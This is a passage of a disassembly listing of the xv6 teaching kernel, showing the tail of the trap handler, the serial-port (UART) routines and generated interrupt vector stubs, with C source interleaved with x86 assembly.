mov 0x30(%ebx),%eax 80106043: 83 f8 40 cmp $0x40,%eax 80106046: 0f 84 c4 01 00 00 je 80106210 <trap+0x1e0> if(myproc()->killed) exit(); return; } switch(tf->trapno){ 8010604c: 83 e8 20 sub $0x20,%eax 8010604f: 83 f8 1f cmp $0x1f,%eax 80106052: 77 08 ja 8010605c <trap+0x2c> 80106054: 3e ff 24 85 2c 81 10 notrack jmp *-0x7fef7ed4(,%eax,4) 8010605b: 80 lapiceoi(); break; //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ 8010605c: e8 2f d9 ff ff call 80103990 <myproc> 80106061: 8b 7b 38 mov 0x38(%ebx),%edi 80106064: 85 c0 test %eax,%eax 80106066: 0f 84 f3 01 00 00 je 8010625f <trap+0x22f> 8010606c: f6 43 3c 03 testb $0x3,0x3c(%ebx) 80106070: 0f 84 e9 01 00 00 je 8010625f <trap+0x22f> static inline uint rcr2(void) { uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 80106076: 0f 20 d1 mov %cr2,%ecx 80106079: 89 4d d8 mov %ecx,-0x28(%ebp) cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 8010607c: e8 ef d8 ff ff call 80103970 <cpuid> 80106081: 8b 73 30 mov 0x30(%ebx),%esi 80106084: 89 45 dc mov %eax,-0x24(%ebp) 80106087: 8b 43 34 mov 0x34(%ebx),%eax 8010608a: 89 45 e4 mov %eax,-0x1c(%ebp) "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 8010608d: e8 fe d8 ff ff call 80103990 <myproc> 80106092: 89 45 e0 mov %eax,-0x20(%ebp) 80106095: e8 f6 d8 ff ff call 80103990 <myproc> cprintf("pid %d %s: trap %d err %d on cpu %d " 8010609a: 8b 4d d8 mov -0x28(%ebp),%ecx 8010609d: 8b 55 dc mov -0x24(%ebp),%edx 801060a0: 51 push %ecx 801060a1: 57 push %edi 801060a2: 52 push %edx 801060a3: ff 75 e4 pushl -0x1c(%ebp) 801060a6: 56 push %esi myproc()->pid, myproc()->name, tf->trapno, 801060a7: 8b 75 e0 mov -0x20(%ebp),%esi 801060aa: 83 c6 6c add $0x6c,%esi cprintf("pid %d %s: trap %d err %d on cpu %d " 801060ad: 56 push %esi 801060ae: ff 70 10 pushl 0x10(%eax) 801060b1: 68 e8 80 10 80 push $0x801080e8 801060b6: e8 f5 a5 ff ff call 801006b0 <cprintf> tf->err, cpuid(), tf->eip, rcr2()); myproc()->killed = 1; 801060bb: 83 c4 20 add $0x20,%esp 801060be: e8 cd d8 ff ff call 80103990 <myproc> 801060c3: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801060ca: e8 c1 d8 ff ff call 80103990 <myproc> 801060cf: 85 c0 test %eax,%eax 801060d1: 74 1d je 801060f0 <trap+0xc0> 801060d3: e8 b8 d8 ff ff call 80103990 <myproc> 801060d8: 8b 50 24 mov 0x24(%eax),%edx 801060db: 85 d2 test %edx,%edx 801060dd: 74 11 je 801060f0 <trap+0xc0> 801060df: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 801060e3: 83 e0 03 and $0x3,%eax 801060e6: 66 83 f8 03 cmp $0x3,%ax 801060ea: 0f 84 58 01 00 00 je 80106248 <trap+0x218> exit(); // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(myproc() && myproc()->state == RUNNING && 801060f0: e8 9b d8 ff ff call 80103990 <myproc> 801060f5: 85 c0 test %eax,%eax 801060f7: 74 0f je 80106108 <trap+0xd8> 801060f9: e8 92 d8 ff ff call 80103990 <myproc> 801060fe: 83 78 0c 04 cmpl $0x4,0xc(%eax) 80106102: 0f 84 f0 00 00 00 je 801061f8 <trap+0x1c8> #endif // my insert ends } // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80106108: e8 83 d8 ff ff call 80103990 <myproc> 8010610d: 85 c0 test %eax,%eax 8010610f: 74 1d je 8010612e <trap+0xfe> 80106111: e8 7a d8 ff ff call 80103990 <myproc> 80106116: 8b 40 24 mov 0x24(%eax),%eax 80106119: 85 c0 test %eax,%eax 8010611b: 74 11 je 8010612e <trap+0xfe> 8010611d: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 80106121: 83 e0 03 and $0x3,%eax 80106124: 66 83 f8 03 cmp $0x3,%ax 80106128: 0f 84 0b 01 00 00 je 80106239 <trap+0x209> exit(); } 8010612e: 8d 65 f4 lea -0xc(%ebp),%esp 80106131: 5b pop %ebx 80106132: 5e pop %esi 80106133: 5f pop %edi 80106134: 5d pop %ebp 80106135: c3 ret ideintr(); 80106136: e8 a5 c0 ff ff call 801021e0 <ideintr> lapiceoi(); 8010613b: e8 80 c7 ff ff call 801028c0 <lapiceoi> if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80106140: e8 4b d8 ff ff call 80103990 <myproc> 80106145: 85 c0 test %eax,%eax 80106147: 75 8a jne 801060d3 <trap+0xa3> 80106149: eb a5 jmp 801060f0 <trap+0xc0> if(cpuid() == 0){ 8010614b: e8 20 d8 ff ff call 80103970 <cpuid> 80106150: 85 c0 test %eax,%eax 80106152: 75 e7 jne 8010613b <trap+0x10b> acquire(&tickslock); 80106154: 83 ec 0c sub $0xc,%esp 80106157: 68 80 6f 11 80 push $0x80116f80 8010615c: e8 df e9 ff ff call 80104b40 <acquire> ticks++; 80106161: 83 05 c0 77 11 80 01 addl $0x1,0x801177c0 update_running_time(); 80106168: e8 53 e5 ff ff call 801046c0 <update_running_time> wakeup(&ticks); 8010616d: c7 04 24 c0 77 11 80 movl $0x801177c0,(%esp) 80106174: e8 d7 e4 ff ff call 80104650 <wakeup> release(&tickslock); 80106179: c7 04 24 80 6f 11 80 movl $0x80116f80,(%esp) 80106180: e8 7b ea ff ff call 80104c00 <release> 80106185: 83 c4 10 add $0x10,%esp lapiceoi(); 80106188: eb b1 jmp 8010613b <trap+0x10b> kbdintr(); 8010618a: e8 f1 c5 ff ff call 80102780 <kbdintr> lapiceoi(); 8010618f: e8 2c c7 ff ff call 801028c0 <lapiceoi> if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80106194: e8 f7 d7 ff ff call 80103990 <myproc> 80106199: 85 c0 test %eax,%eax 8010619b: 0f 85 32 ff ff ff jne 801060d3 <trap+0xa3> 801061a1: e9 4a ff ff ff jmp 801060f0 <trap+0xc0> uartintr(); 801061a6: e8 55 02 00 00 call 80106400 <uartintr> lapiceoi(); 801061ab: e8 10 c7 ff ff call 801028c0 <lapiceoi> if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801061b0: e8 db d7 ff ff call 80103990 <myproc> 801061b5: 85 c0 test %eax,%eax 801061b7: 0f 85 16 ff ff ff jne 801060d3 <trap+0xa3> 801061bd: e9 2e ff ff ff jmp 801060f0 <trap+0xc0> cprintf("cpu%d: spurious interrupt at %x:%x\n", 801061c2: 8b 7b 38 mov 0x38(%ebx),%edi 801061c5: 0f b7 73 3c movzwl 0x3c(%ebx),%esi 801061c9: e8 a2 d7 ff ff call 80103970 <cpuid> 801061ce: 57 push %edi 801061cf: 56 push %esi 801061d0: 50 push %eax 801061d1: 68 90 80 10 80 push $0x80108090 801061d6: e8 d5 a4 ff ff call 801006b0 <cprintf> lapiceoi(); 801061db: e8 e0 c6 ff ff call 801028c0 <lapiceoi> break; 801061e0: 83 c4 10 add $0x10,%esp if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801061e3: e8 a8 d7 ff ff call 80103990 <myproc> 801061e8: 85 c0 test %eax,%eax 801061ea: 0f 85 e3 fe ff ff jne 801060d3 <trap+0xa3> 801061f0: e9 fb fe ff ff jmp 801060f0 <trap+0xc0> 801061f5: 8d 76 00 lea 0x0(%esi),%esi if(myproc() && myproc()->state == RUNNING && 801061f8: 83 7b 30 20 cmpl $0x20,0x30(%ebx) 801061fc: 0f 85 06 ff ff ff jne 80106108 <trap+0xd8> yield(); 80106202: e8 49 e0 ff ff call 80104250 <yield> 80106207: e9 fc fe ff ff jmp 80106108 <trap+0xd8> 8010620c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed) 80106210: e8 7b d7 ff ff call 80103990 <myproc> 80106215: 8b 70 24 mov 0x24(%eax),%esi 80106218: 85 f6 test %esi,%esi 8010621a: 75 3c jne 80106258 <trap+0x228> myproc()->tf = tf; 8010621c: e8 6f d7 ff ff call 80103990 <myproc> 80106221: 89 58 18 mov %ebx,0x18(%eax) syscall(); 80106224: e8 f7 ed ff ff call 80105020 <syscall> if(myproc()->killed) 80106229: e8 62 d7 ff ff call 80103990 <myproc> 8010622e: 8b 48 24 mov 0x24(%eax),%ecx 80106231: 85 c9 test %ecx,%ecx 80106233: 0f 84 f5 fe ff ff je 8010612e <trap+0xfe> } 80106239: 8d 65 f4 lea -0xc(%ebp),%esp 8010623c: 5b pop %ebx 8010623d: 5e pop %esi 8010623e: 5f pop %edi 8010623f: 5d pop %ebp exit(); 80106240: e9 bb de ff ff jmp 80104100 <exit> 80106245: 8d 76 00 lea 0x0(%esi),%esi exit(); 80106248: e8 b3 de ff ff call 80104100 <exit> 8010624d: e9 9e fe ff ff jmp 801060f0 <trap+0xc0> 80106252: 8d b6 00 00 00 00 lea 0x0(%esi),%esi exit(); 80106258: e8 a3 de ff ff call 80104100 <exit> 8010625d: eb bd jmp 8010621c <trap+0x1ec> 8010625f: 0f 20 d6 mov %cr2,%esi cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80106262: e8 09 d7 ff ff call 80103970 <cpuid> 80106267: 83 ec 0c sub $0xc,%esp 8010626a: 56 push %esi 8010626b: 57 push %edi 8010626c: 50 push %eax 8010626d: ff 73 30 pushl 0x30(%ebx) 80106270: 68 b4 80 10 80 push $0x801080b4 80106275: e8 36 a4 ff ff call 801006b0 <cprintf> panic("trap"); 8010627a: 83 c4 14 add $0x14,%esp 8010627d: 68 8a 80 10 80 push $0x8010808a 80106282: e8 09 a1 ff ff call 80100390 <panic> 80106287: 66 90 xchg %ax,%ax 80106289: 66 90 xchg %ax,%ax 8010628b: 66 90 xchg %ax,%ax 8010628d: 66 90 xchg %ax,%ax 8010628f: 90 nop 80106290 <uartgetc>: outb(COM1+0, c); } static int uartgetc(void) { 80106290: f3 0f 1e fb endbr32 if(!uart) 80106294: a1 bc b5 10 80 mov 0x8010b5bc,%eax 80106299: 85 c0 test %eax,%eax 8010629b: 74 1b je 801062b8 <uartgetc+0x28> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010629d: ba fd 03 00 00 mov $0x3fd,%edx 801062a2: ec in (%dx),%al return -1; if(!(inb(COM1+5) & 0x01)) 801062a3: a8 01 test $0x1,%al 801062a5: 74 11 je 801062b8 <uartgetc+0x28> 801062a7: ba f8 03 00 00 mov $0x3f8,%edx 801062ac: ec in (%dx),%al return -1; return inb(COM1+0); 801062ad: 0f b6 c0 movzbl %al,%eax 801062b0: c3 ret 801062b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801062b8: b8 ff ff ff ff mov $0xffffffff,%eax } 801062bd: c3 ret 801062be: 66 90 xchg %ax,%ax 801062c0 <uartputc.part.0>: uartputc(int c) 801062c0: 55 push %ebp 801062c1: 89 e5 mov %esp,%ebp 801062c3: 57 push %edi 801062c4: 89 c7 mov %eax,%edi 801062c6: 56 push %esi 801062c7: be fd 03 00 00 mov $0x3fd,%esi 801062cc: 53 push %ebx 801062cd: bb 80 00 00 00 mov $0x80,%ebx 801062d2: 83 ec 0c sub $0xc,%esp 801062d5: eb 1b jmp 801062f2 <uartputc.part.0+0x32> 801062d7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801062de: 66 90 xchg %ax,%ax microdelay(10); 801062e0: 83 ec 0c sub $0xc,%esp 801062e3: 6a 0a push $0xa 801062e5: e8 f6 c5 ff ff call 801028e0 <microdelay> for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 801062ea: 83 c4 10 add $0x10,%esp 801062ed: 83 eb 01 sub $0x1,%ebx 801062f0: 74 07 je 801062f9 <uartputc.part.0+0x39> 801062f2: 89 f2 mov %esi,%edx 801062f4: ec in (%dx),%al 801062f5: a8 20 test $0x20,%al 801062f7: 74 e7 je 801062e0 <uartputc.part.0+0x20> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801062f9: ba f8 03 00 00 mov $0x3f8,%edx 801062fe: 89 f8 mov %edi,%eax 80106300: ee out %al,(%dx) } 80106301: 8d 65 f4 lea -0xc(%ebp),%esp 80106304: 5b pop %ebx 80106305: 5e pop %esi 80106306: 5f pop %edi 80106307: 5d pop %ebp 80106308: c3 ret 80106309: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106310 <uartinit>: { 80106310: f3 0f 1e fb endbr32 80106314: 55 push %ebp 80106315: 31 c9 xor %ecx,%ecx 80106317: 89 c8 mov %ecx,%eax 80106319: 89 e5 mov %esp,%ebp 8010631b: 57 push %edi 8010631c: 56 push %esi 8010631d: 53 push %ebx 8010631e: bb fa 03 00 00 mov $0x3fa,%ebx 80106323: 89 da mov %ebx,%edx 80106325: 83 ec 0c sub $0xc,%esp 80106328: ee out %al,(%dx) 80106329: bf fb 03 00 00 mov $0x3fb,%edi 8010632e: b8 80 ff ff ff mov $0xffffff80,%eax 80106333: 89 fa mov %edi,%edx 80106335: ee out %al,(%dx) 80106336: b8 0c 00 00 00 mov $0xc,%eax 8010633b: ba f8 03 00 00 mov $0x3f8,%edx 80106340: ee out %al,(%dx) 80106341: be f9 03 00 00 mov $0x3f9,%esi 80106346: 89 c8 mov %ecx,%eax 80106348: 89 f2 mov %esi,%edx 8010634a: ee out %al,(%dx) 8010634b: b8 03 00 00 00 mov $0x3,%eax 80106350: 89 fa mov %edi,%edx 80106352: ee out %al,(%dx) 80106353: ba fc 03 00 00 mov $0x3fc,%edx 80106358: 89 c8 mov %ecx,%eax 8010635a: ee out %al,(%dx) 8010635b: b8 01 00 00 00 mov $0x1,%eax 80106360: 89 f2 mov %esi,%edx 80106362: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80106363: ba fd 03 00 00 mov $0x3fd,%edx 80106368: ec in (%dx),%al if(inb(COM1+5) == 0xFF) 80106369: 3c ff cmp $0xff,%al 8010636b: 74 52 je 801063bf <uartinit+0xaf> uart = 1; 8010636d: c7 05 bc b5 10 80 01 movl $0x1,0x8010b5bc 80106374: 00 00 00 80106377: 89 da mov %ebx,%edx 80106379: ec in (%dx),%al 8010637a: ba f8 03 00 00 mov $0x3f8,%edx 8010637f: ec in (%dx),%al ioapicenable(IRQ_COM1, 0); 80106380: 83 ec 08 sub $0x8,%esp 80106383: be 76 00 00 00 mov $0x76,%esi for(p="xv6...\n"; *p; p++) 80106388: bb ac 81 10 80 mov $0x801081ac,%ebx ioapicenable(IRQ_COM1, 0); 8010638d: 6a 00 push $0x0 8010638f: 6a 04 push $0x4 80106391: e8 9a c0 ff ff call 80102430 <ioapicenable> 80106396: 83 c4 10 add $0x10,%esp for(p="xv6...\n"; *p; p++) 80106399: b8 78 00 00 00 mov $0x78,%eax 8010639e: eb 04 jmp 801063a4 <uartinit+0x94> 801063a0: 0f b6 73 01 movzbl 0x1(%ebx),%esi if(!uart) 801063a4: 8b 15 bc b5 10 80 mov 0x8010b5bc,%edx 801063aa: 85 d2 test %edx,%edx 801063ac: 74 08 je 801063b6 <uartinit+0xa6> uartputc(*p); 801063ae: 0f be c0 movsbl %al,%eax 801063b1: e8 0a ff ff ff call 801062c0 <uartputc.part.0> for(p="xv6...\n"; *p; p++) 801063b6: 89 f0 mov %esi,%eax 801063b8: 83 c3 01 add $0x1,%ebx 801063bb: 84 c0 test %al,%al 801063bd: 75 e1 jne 801063a0 <uartinit+0x90> } 801063bf: 8d 65 f4 lea -0xc(%ebp),%esp 801063c2: 5b pop %ebx 801063c3: 5e pop %esi 801063c4: 5f pop %edi 801063c5: 5d pop %ebp 801063c6: c3 ret 801063c7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801063ce: 66 90 xchg %ax,%ax 801063d0 <uartputc>: { 801063d0: f3 0f 1e fb endbr32 801063d4: 55 push %ebp if(!uart) 801063d5: 8b 15 bc b5 10 80 mov 0x8010b5bc,%edx { 801063db: 89 e5 mov %esp,%ebp 801063dd: 8b 45 08 mov 0x8(%ebp),%eax if(!uart) 801063e0: 85 d2 test %edx,%edx 801063e2: 74 0c je 801063f0 <uartputc+0x20> } 801063e4: 5d pop %ebp 801063e5: e9 d6 fe ff ff jmp 801062c0 <uartputc.part.0> 801063ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801063f0: 5d pop %ebp 801063f1: c3 ret 801063f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801063f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106400 <uartintr>: void uartintr(void) { 80106400: f3 0f 1e fb endbr32 80106404: 55 push %ebp 80106405: 89 e5 mov %esp,%ebp 80106407: 83 ec 14 sub $0x14,%esp consoleintr(uartgetc); 8010640a: 68 90 62 10 80 push $0x80106290 8010640f: e8 4c a4 ff ff call 80100860 <consoleintr> } 80106414: 83 c4 10 add $0x10,%esp 80106417: c9 leave 80106418: c3 ret 80106419 <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 80106419: 6a 00 push $0x0 pushl $0 8010641b: 6a 00 push $0x0 jmp alltraps 8010641d: e9 35 fb ff ff jmp 80105f57 <alltraps> 80106422 <vector1>: .globl vector1 vector1: pushl $0 80106422: 6a 00 push $0x0 pushl $1 80106424: 6a 01 push $0x1 jmp alltraps 80106426: e9 2c fb ff ff jmp 80105f57 <alltraps> 8010642b <vector2>: .globl vector2 vector2: pushl $0 8010642b: 6a 00 push $0x0 pushl $2 8010642d: 6a 02 push $0x2 jmp alltraps 8010642f: e9 23 fb ff ff jmp 80105f57 <alltraps> 80106434 <vector3>: .globl vector3 vector3: pushl $0 80106434: 6a 00 push $0x0 pushl $3 80106436: 6a 03 push $0x3 jmp alltraps 80106438: e9 1a fb ff ff jmp 80105f57 <alltraps> 8010643d <vector4>: .globl vector4 vector4: pushl $0 8010643d: 6a 00 push $0x0 pushl $4 8010643f: 6a 04 push $0x4 jmp alltraps 80106441: e9 11 fb ff ff jmp 80105f57 <alltraps> 80106446 <vector5>: .globl vector5 vector5: pushl $0 80106446: 6a 00 push $0x0 pushl $5 80106448: 6a 05 push $0x5 jmp alltraps 8010644a: e9 08 fb ff ff jmp 80105f57 <alltraps> 8010644f <vector6>: .globl vector6 vector6: pushl $0 8010644f: 6a 00 push $0x0 pushl $6 80106451: 6a 06 push $0x6 jmp alltraps 80106453: e9 ff fa ff ff jmp 80105f57 <alltraps> 80106458 <vector7>: .globl vector7 vector7: pushl $0 80106458: 6a 00 push $0x0 pushl $7 8010645a: 6a 07 push $0x7 jmp alltraps 8010645c: e9 f6 fa ff ff jmp 80105f57 <alltraps> 80106461 <vector8>: .globl vector8 vector8: pushl $8 80106461: 6a 08 push $0x8 jmp alltraps 80106463: e9 ef fa ff ff jmp 80105f57 <alltraps> 80106468 <vector9>: .globl vector9 vector9: pushl $0 80106468: 6a 00 push $0x0 pushl $9 8010646a: 6a 09 push $0x9 jmp alltraps 8010646c: e9 e6 fa ff ff jmp 80105f57 <alltraps> 80106471 <vector10>: .globl vector10 vector10: pushl $10 80106471: 6a 0a push $0xa jmp alltraps 80106473: e9 df fa ff ff jmp 80105f57 <alltraps> 80106478 <vector11>: .globl vector11 vector11: pushl $11 80106478: 6a 0b push $0xb jmp alltraps 8010647a: e9 d8 fa ff ff jmp 80105f57 <alltraps> 8010647f <vector12>: .globl vector12 vector12: pushl $12 8010647f: 6a 0c push $0xc jmp alltraps 80106481: e9 d1 fa ff ff jmp 80105f57 <alltraps> 80106486 <vector13>: .globl vector13 vector13: pushl $13 80106486: 6a 0d push $0xd jmp alltraps 80106488: e9 ca fa ff ff jmp 80105f57 <alltraps> 8010648d <vector14>: .globl vector14 vector14: pushl $14 8010648d: 6a 0e push $0xe jmp alltraps 8010648f: e9 c3 fa ff ff jmp 80105f57 <alltraps> 80106494 <vector15>: .globl vector15 vector15: pushl $0 80106494: 6a 00 push $0x0 pushl $15 80106496: 6a 0f push $0xf jmp alltraps 80106498: e9 ba fa ff ff jmp 80105f57 <alltraps> 8010649d <vector16>: .globl vector16 vector16: pushl $0 8010649d: 6a 00 push $0x0 pushl $16 8010649f: 6a 10 push $0x10 jmp alltraps 801064a1: e9 b1 fa ff ff jmp 80105f57 <alltraps> 801064a6 <vector17>: .globl vector17 vector17: pushl $17 801064a6: 6a 11 push $0x11 jmp alltraps 801064a8: e9 aa fa ff ff jmp 80105f57 <alltraps> 801064ad <vector18>: .globl vector18 vector18: pushl $0 801064ad: 6a 00 push $0x0 pushl $18 801064af: 6a 12 push $0x12 jmp alltraps 801064b1: e9 a1 fa ff ff jmp 80105f57 <alltraps> 801064b6 <vector19>: .globl vector19 vector19: pushl $0 801064b6: 6a 00 push $0x0 pushl $19 801064b8: 6a 13 push $0x13 jmp alltraps 801064ba: e9 98 fa ff ff jmp 80105f57 <alltraps> 801064bf <vector20>: .globl vector20 vector20: pushl $0 801064bf: 6a 00 push $0x0 pushl $20 801064c1: 6a 14 push $0x14 jmp alltraps 801064c3: e9 8f fa ff ff jmp 80105f57 <alltraps> 801064c8 <vector21>: .globl vector21 vector21: pushl $0 801064c8: 6a 00 push $0x0 pushl $21 801064ca: 6a 15 push $0x15 jmp alltraps 801064cc: e9 86 fa ff ff jmp 80105f57 <alltraps> 801064d1 <vector22>: .globl vector22 vector22: pushl $0 801064d1: 6a 00 push $0x0 pushl $22 801064d3: 6a 16 push $0x16 jmp alltraps 801064d5: e9 7d fa ff ff jmp 80105f57 <alltraps> 801064da <vector23>: .globl vector23 vector23: pushl $0 801064da: 6a 00 push $0x0 pushl $23 801064dc: 6a 17 push $0x17 jmp alltraps 801064de: e9 74 fa ff ff jmp 80105f57 <alltraps> 801064e3 <vector24>: .globl vector24 vector24: pushl $0 801064e3: 6a 00 push $0x0 pushl $24 801064e5: 6a 18 push $0x18 jmp alltraps 801064e7: e9 6b fa ff ff jmp 80105f57 <alltraps> 801064ec <vector25>: .globl vector25 vector25: pushl $0 801064ec: 6a 00 push $0x0 pushl $25 801064ee: 6a 19 push $0x19 jmp alltraps 801064f0: e9 62 fa ff ff jmp 80105f57 <alltraps> 801064f5 <vector26>: .globl vector26 vector26: pushl $0 801064f5: 6a 00 push $0x0 pushl $26 801064f7: 6a 1a push $0x1a jmp alltraps 801064f9: e9 59 fa ff ff jmp 80105f57 <alltraps> 801064fe <vector27>: .globl vector27 vector27: pushl $0 801064fe: 6a 00 push $0x0 pushl $27 80106500: 6a 1b push $0x1b jmp alltraps 80106502: e9 50 fa ff ff jmp 80105f57 <alltraps> 80106507 <vector28>: .globl vector28 vector28: pushl $0 80106507: 6a 00 push $0x0 pushl $28 80106509: 6a 1c push $0x1c jmp alltraps 8010650b: e9 47 fa ff ff jmp 80105f57 <alltraps> 80106510 <vector29>: .globl vector29 vector29: pushl $0 80106510: 6a 00 push $0x0 pushl $29 80106512: 6a 1d push $0x1d jmp alltraps 80106514: e9 3e fa ff ff jmp 80105f57 <alltraps> 80106519 <vector30>: .globl vector30 vector30: pushl $0 80106519: 6a 00 push $0x0 pushl $30 8010651b: 6a 1e push $0x1e jmp alltraps 8010651d: e9 35 fa ff ff jmp 80105f57 <alltraps> 80106522 <vector31>: .globl vector31 vector31: pushl $0 80106522: 6a 00 push $0x0 pushl $31 80106524: 6a 1f push $0x1f jmp alltraps 80106526: e9 2c fa ff ff jmp 80105f57 <alltraps> 8010652b <vector32>: .globl vector32 vector32: pushl $0 8010652b: 6a 00 push $0x0 pushl $32 8010652d: 6a 20 push $0x20 jmp alltraps 8010652f: e9 23 fa ff ff jmp 80105f57 <alltraps> 80106534 <vector33>: .globl vector33 vector33: pushl $0 80106534: 6a 00 push $0x0 pushl $33 80106536: 6a 21 push $0x21 jmp alltraps 80106538: e9 1a fa ff ff jmp 80105f57 <alltraps> 8010653d <vector34>: .globl vector34 vector34: pushl $0 8010653d: 6a 00 push $0x0 pushl $34 8010653f: 6a 22 push $0x22 jmp alltraps 80106541: e9 11 fa ff ff jmp 80105f57 <alltraps> 80106546 <vector35>: .globl vector35 vector35: pushl $0 80106546: 6a 00 push $0x0 pushl $35 80106548: 6a 23 push $0x23 jmp alltraps 8010654a: e9 08 fa ff ff jmp 80105f57 <alltraps> 8010654f <vector36>: .globl vector36 vector36: pushl $0 8010654f: 6a 00 push $0x0 pushl $36 80106551: 6a 24 push $0x24 jmp alltraps 80106553: e9 ff f9 ff ff jmp 80105f57 <alltraps> 80106558 <vector37>: .globl vector37 vector37: pushl $0 80106558: 6a 00 push $0x0 pushl $37 8010655a: 6a 25 push $0x25 jmp alltraps 8010655c: e9 f6 f9 ff ff jmp 80105f57 <alltraps> 80106561 <vector38>: .globl vector38 vector38: pushl $0 80106561: 6a 00 push $0x0 pushl $38 80106563: 6a 26 push $0x26 jmp alltraps 80106565: e9 ed f9 ff ff jmp 80105f57 <alltraps> 8010656a <vector39>: .globl vector39 vector39: pushl $0 8010656a: 6a 00 push $0x0 pushl $39 8010656c: 6a 27 push $0x27 jmp alltraps 8010656e: e9 e4 f9 ff ff jmp 80105f57 <alltraps> 80106573 <vector40>: .globl vector40 vector40: pushl $0 80106573: 6a 00 push $0x0 pushl $40 80106575: 6a 28 push $0x28 jmp alltraps 80106577: e9 db f9 ff ff jmp 80105f57 <alltraps> 8010657c <vector41>: .globl vector41 vector41: pushl $0 8010657c: 6a 00 push $0x0 pushl $41 8010657e: 6a 29 push $0x29 jmp alltraps 80106580: e9 d2 f9 ff ff jmp 80105f57 <alltraps> 80106585 <vector42>: .globl vector42 vector42: pushl $0 80106585: 6a 00 push $0x0 pushl $42 80106587: 6a 2a push $0x2a jmp alltraps 80106589: e9 c9 f9 ff ff jmp 80105f57 <alltraps> 8010658e <vector43>: .globl vector43 vector43: pushl $0 8010658e: 6a 00 push $0x0 pushl $43 80106590: 6a 2b push $0x2b jmp alltraps 80106592: e9 c0 f9 ff ff jmp 80105f57 <alltraps> 80106597 <vector44>: .globl vector44 vector44: pushl $0 80106597: 6a 00 push $0x0 pushl $44 80106599: 6a 2c push $0x2c jmp alltraps 8010659b: e9 b7 f9 ff ff jmp 80105f57 <alltraps> 801065a0 <vector45>: .globl vector45 vector45: pushl $0 801065a0: 6a 00 push $0x0 pushl $45 801065a2: 6a 2d push $0x2d jmp alltraps 801065a4: e9 ae f9 ff ff jmp 80105f57 <alltraps> 801065a9 <vector46>: .globl vector46 vector46: pushl $0 801065a9: 6a 00 push $0x0 pushl $46 801065ab: 6a 2e push $0x2e jmp alltraps 801065ad: e9 a5 f9 ff ff jmp 80105f57 <alltraps> 801065b2 <vector47>: .globl vector47 vector47: pushl $0 801065b2: 6a 00 push $0x0 pushl $47 801065b4: 6a 2f push $0x2f jmp alltraps 801065b6: e9 9c f9 ff ff jmp 80105f57 <alltraps> 801065bb <vector48>: .globl vector48 vector48: pushl $0 801065bb: 6a 00 push $0x0 pushl $48 801065bd: 6a 30 push $0x30 jmp alltraps 801065bf: e9 93 f9 ff ff jmp 80105f57 <alltraps> 801065c4 <vector49>: .globl vector49 vector49: pushl $0 801065c4: 6a 00 push $0x0 pushl $49 801065c6: 6a 31 push $0x31 jmp alltraps 801065c8: e9 8a f9 ff ff jmp 80105f57 <alltraps> 801065cd <vector50>: .globl vector50 vector50: pushl $0 801065cd: 6a 00 push $0x0 pushl $50 801065cf: 6a 32 push $0x32 jmp alltraps 801065d1: e9 81 f9 ff ff jmp 80105f57 <alltraps> 801065d6 <vector51>: .globl vector51 vector51: pushl $0 801065d6: 6a 00 push $0x0 pushl $51 801065d8: 6a 33 push $0x33 jmp alltraps 801065da: e9 78 f9 ff ff jmp 80105f57 <alltraps> 801065df <vector52>: .globl vector52 vector52: pushl $0 801065df: 6a 00 push $0x0 pushl $52 801065e1: 6a 34 push $0x34 jmp alltraps 801065e3: e9 6f f9 ff ff jmp 80105f57 <alltraps> 801065e8 <vector53>: .globl vector53 vector53: pushl $0 801065e8: 6a 00 push $0x0 pushl $53 801065ea: 6a 35 push $0x35 jmp alltraps 801065ec: e9 66 f9 ff ff jmp 80105f57 <alltraps> 801065f1 <vector54>: .globl vector54 vector54: pushl $0 801065f1: 6a 00 push $0x0 pushl $54 801065f3: 6a 36 push $0x36 jmp alltraps 801065f5: e9 5d f9 ff ff jmp 80105f57 <alltraps> 801065fa <vector55>: .globl vector55 vector55: pushl $0 801065fa: 6a 00 push $0x0 pushl $55 801065fc: 6a 37 push $0x37 jmp alltraps 801065fe: e9 54 f9 ff ff jmp 80105f57 <alltraps> 80106603 <vector56>: .globl vector56 vector56: pushl $0 80106603: 6a 00 push $0x0 pushl $56 80106605: 6a 38 push $0x38 jmp alltraps 80106607: e9 4b f9 ff ff jmp 80105f57 <alltraps> 8010660c <vector57>: .globl vector57 vector57: pushl $0 8010660c: 6a 00 push $0x0 pushl $57 8010660e: 6a 39 push $0x39 jmp alltraps 80106610: e9 42 f9 ff ff jmp 80105f57 <alltraps> 80106615 <vector58>: .globl vector58 